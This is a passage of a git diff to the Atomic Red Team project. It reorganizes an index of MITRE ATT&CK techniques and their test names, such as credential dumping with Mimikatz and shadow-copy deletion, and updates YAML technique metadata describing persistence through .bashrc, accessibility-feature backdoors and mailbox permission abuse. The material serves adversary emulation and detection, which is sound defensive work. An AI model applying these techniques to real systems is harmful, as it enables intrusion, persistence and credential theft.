Manipulation](./T1134/T1134.md) - Atomic Test #1: Access Token Manipulation [windows] +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] @@ -173,6 +178,8 @@ - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: Component Object Model Hijacking [windows] +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] - [T1196 Control Panel Items](./T1196/T1196.md) - Atomic Test #1: Control Panel Items [windows] - [T1207 DCShadow](./T1207/T1207.md) @@ -213,7 +220,8 @@ - Atomic Test #11: wbadmin [windows] - Atomic Test #12: Delete Filesystem - Linux [linux, centos, ubuntu] - Atomic Test #13: Delete-PrefetchFile [windows] -- [T1222 File Permissions Modification](./T1222/T1222.md) +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) - Atomic Test #1: Take ownership using takeown utility [windows] - Atomic Test #2: Take ownership recursively using takeown utility [windows] - Atomic Test #3: cacls - Grant permission to specified user or group [windows] @@ -230,7 +238,6 @@ - Atomic Test #14: chown - Change file or folder mode ownership only [macos, linux] - Atomic Test #15: chown - Change file or folder ownership recursively [macos, linux] - Atomic Test #16: chattr - Remove immutable file attribute [macos, linux] -- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - T1484 Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -296,6 +303,7 @@ - Atomic Test #3: Remove Network Share PowerShell [windows] - [T1027 Obfuscated Files or Information](./T1027/T1027.md) - Atomic Test #1: Decode base64 Data into Script [macos, linux] +- T1502 Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -314,6 +322,7 @@ - Atomic Test #1: Regsvr32 local COM scriptlet execution [windows] - Atomic Test #2: Regsvr32 remote COM scriptlet execution [windows] - Atomic Test #3: Regsvr32 local DLL execution [windows] +- T1536 Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1014 Rootkit](./T1014/T1014.md) - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] @@ -343,9 +352,11 @@ - Atomic Test #7: Windows - Modify file last access timestamp with PowerShell [windows] - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] +- T1535 Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1220 XSL Script Processing](./T1220/T1220.md) - Atomic Test #1: MSXSL Bypass using local files [windows] - Atomic Test #2: MSXSL Bypass using remote files [windows] @@ -376,6 +387,8 @@ - [T1038 DLL Search Order Hijacking](./T1038/T1038.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1514 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1519 Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -389,10 +402,12 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] +- T1502 Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] - T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1504 PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] @@ -420,6 +435,37 @@ - [T1100 Web Shell](./T1100/T1100.md) - Atomic Test #1: Web Shell Written to Disk [windows] +# impact +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #3: Windows - Disable Windows Recovery Console Repair [windows] + - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] + - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] + - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1489 Service Stop](./T1489/T1489.md) + - Atomic Test #1: Windows - Stop service using Service Controller [windows] + - Atomic Test #2: Windows - Stop service using net.exe [windows] + - Atomic Test #3: Windows - Stop service by killing process [windows] +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1529 System Shutdown/Reboot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + # discovery - [T1087 Account Discovery](./T1087/T1087.md) - Atomic Test #1: Enumerate all accounts [linux, macos] @@ -439,6 +485,8 @@ - Atomic Test #1: List Mozilla Firefox Bookmark Database Files on Linux [linux] - Atomic Test #2: List Mozilla Firefox Bookmark Database Files on macOS [macos] - Atomic Test #3: List Google Chrome Bookmark JSON Files on macOS [macos] +- T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1482 Domain Trust Discovery](./T1482/T1482.md) - Atomic Test #1: Windows - Discover domain trusts with dsquery [windows] - Atomic Test #2: Windows - Discover domain trusts with nltest [windows] @@ -486,6 +534,7 @@ - Atomic Test #2: Security Software Discovery - powershell [windows] - Atomic Test #3: Security Software Discovery - ps [linux, macos] - Atomic Test #4: Security Software Discovery - Sysmon Service [windows] +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](./T1082/T1082.md) - Atomic Test #1: System Information Discovery [windows] - Atomic Test #2: System Information Discovery [linux, macos] @@ -517,6 +566,7 @@ - Atomic Test #1: Search Through Bash History [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) - Atomic Test #1: Brute Force Credentials [windows] +- T1522 Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1003 Credential Dumping](./T1003/T1003.md) - Atomic Test #1: Powershell Mimikatz [windows] - Atomic Test #2: Gsecdump [windows] @@ -530,6 +580,7 @@ - Atomic Test #10: Copy NTDS.dit from Volume Shadow Copy [windows] - Atomic Test #11: GPP Passwords (findstr) [windows] - Atomic Test #12: GPP Passwords (Get-GPPPassword) [windows] +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] - Atomic Test #2: Extract passwords with grep [macos, linux] @@ -564,6 +615,8 @@ - Atomic Test #3: Copy Private SSH Keys with CP [linux] - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] - T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution @@ -577,6 +630,7 @@ - [T1223 Compiled HTML File](./T1223/T1223.md) - Atomic Test #1: Compiled HTML Help Local Payload [windows] - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1196 Control Panel Items](./T1196/T1196.md) - Atomic Test #1: Control Panel Items [windows] - [T1173 Dynamic Data Exchange](./T1173/T1173.md) @@ -666,9 +720,11 @@ # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) - Atomic Test #1: AppleScript [macos] +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1175 Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - Atomic Test #2: Logon Scripts - Mac [macos] @@ -695,6 +751,7 @@ - T1051 Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1077 Windows Admin Shares](./T1077/T1077.md) - Atomic Test #1: Map admin share [windows] - Atomic Test #2: Map Admin Share PowerShell [windows] @@ -718,6 +775,7 @@ - [T1074 Data Staged](./T1074/T1074.md) - Atomic Test #1: Stage data from Discovery.bat [windows] - Atomic Test #2: Stage data from Discovery.sh [linux, macos] +- T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1005 Data from Local System](./T1005/T1005.md) - Atomic Test #1: Search macOS Safari Cookies [macos] @@ -759,6 +817,7 @@ - T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1537 Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -802,35 +861,6 @@ - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -# impact -- [T1485 Data Destruction](./T1485/T1485.md) - - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] - - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] - - Atomic Test #3: Windows - Disable Windows Recovery Console Repair [windows] - - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] - - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] -- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](./T1490/T1490.md) - - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] - - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] - - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] - - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] -- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1496 Resource Hijacking](./T1496/T1496.md) - - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] -- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1489 Service Stop](./T1489/T1489.md) - - Atomic Test #1: Windows - Stop service using Service Controller [windows] - - Atomic Test #2: Windows - Stop service using net.exe [windows] - - Atomic Test #3: Windows - Stop service by killing process [windows] -- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/index.yaml b/atomics/index.yaml index fa2951fdb6..6751862a8d 100644 --- a/atomics/index.yaml +++ b/atomics/index.yaml @@ -2,48 +2,61 @@ persistence: T1156: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1156 - source_name: mitre-attack - external_id: T1156 - - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ - source_name: amnesia malware - description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux - Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - Process use of network - modified: '2018-10-31T13:45:13.024Z' + x_mitre_permissions_required: + - User + - Administrator + name: ".bash_profile and .bashrc" + description: "~/.bash_profile and ~/.bashrc are shell + scripts that contain shell commands. These files are executed in a user's + context when a new shell opens or when a user logs in so that their environment + is set correctly. ~/.bash_profile is executed for login shells + and ~/.bashrc is executed for interactive non-login shells. This + means that when a user logs in (via username and password) to the console + (either locally or remotely via something like SSH), the ~/.bash_profile + script is executed before the initial command prompt is returned to the user. + After that, every time a new shell is opened, the ~/.bashrc script + is executed. This allows users more fine-grained control over when they want + certain commands executed. These shell scripts are meant to be written to + by the local user to configure their own environment. \n\nThe macOS Terminal.app + is a little different in that it runs a login shell by default each time a + new terminal window is opened, thus calling ~/.bash_profile each + time instead of ~/.bashrc.\n\nAdversaries may abuse these shell + scripts by inserting arbitrary shell commands that may be used to execute + other binaries to gain persistence. Every time the user logs in or opens a + new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: + amnesia malware)." + id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8 - name: ".bash_profile and .bashrc" created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - ~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. - - Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. - - These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware). - x_mitre_permissions_required: - - User - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1156 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1156 + - source_name: amnesia malware + description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux + Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ + modified: '2019-06-13T14:49:56.024Z' identifier: T1156 atomic_tests: - name: Add command to .bash_profile @@ -82,53 +95,13 @@ persistence: ' T1015: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1015 - source_name: mitre-attack - external_id: T1015 - - url: https://capec.mitre.org/data/definitions/558.html - source_name: capec - external_id: CAPEC-558 - - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ - source_name: Tilbury 2014 - description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. - Retrieved November 12, 2014. - - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - source_name: FireEye Hikit Rootkit - description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: - ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' - - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - source_name: DEFCON2016 Sticky Keys - description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to - the Kingdom. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Paul Speulstra, AECOM Global Security Operations Center + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Changes to accessibility utility binaries or binary paths - that do not correlate with known software, patch cycles, etc., are suspicious. - Command line invocation of tools capable of modifying the Registry for associated - keys are also suspicious. Utility arguments and the binaries themselves should - be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows - NT\CurrentVersion\Image File Execution Options. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 name: Accessibility Features - created: '2017-05-31T21:30:26.946Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. @@ -147,10 +120,50 @@ persistence: * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe * App Switcher: C:\Windows\System32\AtBroker.exe + id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Changes to accessibility utility binaries or binary paths + that do not correlate with known software, patch cycles, etc., are suspicious. + Command line invocation of tools capable of modifying the Registry for associated + keys are also suspicious. Utility arguments and the binaries themselves should + be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Paul Speulstra, AECOM Global Security Operations Center + created: '2017-05-31T21:30:26.946Z' x_mitre_effective_permissions: - SYSTEM - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1015 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1015 + - source_name: capec + external_id: CAPEC-558 + url: https://capec.mitre.org/data/definitions/558.html + - source_name: FireEye Hikit Rootkit + description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: + ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' + url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html + - source_name: DEFCON2016 Sticky Keys + description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to + the Kingdom. Retrieved July 5, 2017. + url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom + - source_name: Tilbury 2014 + description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. + Retrieved November 12, 2014. + url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ + modified: '2019-07-16T19:07:04.652Z' identifier: T1015 atomic_tests: - name: Attaches Command Prompt As Debugger To Process - osk @@ -288,60 +301,95 @@ persistence: ' T1098: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1098 - source_name: mitre-attack - external_id: T1098 - - url: https://docs.microsoft.com/windows/device-security/auditing/event-4738 - source_name: Microsoft User Modified Event - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account - was changed. Retrieved June 30, 2017.' - - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - source_name: InsiderThreat ChangeNTLM July 2017 - description: Warren, J. (2017, July 11). Manipulating User Passwords with - Mimikatz. Retrieved December 4, 2017. - - url: https://github.com/gentilkiwi/mimikatz/issues/92 - source_name: GitHub Mimikatz Issue 92 June 2017 - description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm - work, but generate Windows events #92. Retrieved December 4, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Tim MalcomVetter + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - Authentication logs - API monitoring - Windows event logs - Packet capture - modified: '2018-10-17T00:14:20.652Z' + name: Account Manipulation + description: |- + Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. + + ### Exchange Email Account Takeover + + The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) + + ### Azure AD + + In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death) + + ### AWS + + AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing) + id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 + x_mitre_platforms: + - Windows + - Office 365 + - Azure + - GCP + - Azure AD + - AWS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + x_mitre_system_requirements: + - 'Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission + PowerShell cmdlet (depending on parameters used, may require more permission)' + type: attack-pattern x_mitre_detection: |- - Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) + Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. + + Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + + A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 - name: Account Manipulation + x_mitre_contributors: + - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) + - Praetorian + - Tim MalcomVetter created: '2017-05-31T21:31:12.196Z' - x_mitre_version: '1.0' - type: attack-pattern - description: Account manipulation may aid adversaries in maintaining access - to credentials and certain permission levels within an environment. Manipulation - could consist of modifying permissions, modifying credentials, adding or changing - permission groups, modifying account settings, or modifying how authentication - is performed. These actions could also include account activity designed to - subvert security policies, such as performing iterative password updates to - subvert password duration policies and preserve the life of compromised credentials. - In order to create or manipulate accounts, the adversary must already have - sufficient permissions on systems or the domain. - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1098 + url: https://attack.mitre.org/techniques/T1098 + - description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September + 13, 2019. + source_name: Microsoft - Add-MailboxPermission + url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps + - description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending + O365. Retrieved September 13, 2019.' + source_name: Bienstock, D. - Defending O365 - 2019 + url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 + - description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming + Azure. Retrieved October 23, 2019.' + source_name: Blue Cloud of Death + url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 + - description: Piper, Scott. (2019, April 3). Advanced AWS policy auditing - + Confused deputies with AWS services. Retrieved October 23, 2019. + source_name: Summit Route Advanced AWS policy auditing + url: https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/ + - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account + was changed. Retrieved June 30, 2017.' + source_name: Microsoft User Modified Event + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 + - source_name: InsiderThreat ChangeNTLM July 2017 + description: Warren, J. (2017, July 11). Manipulating User Passwords with + Mimikatz. Retrieved December 4, 2017. + url: 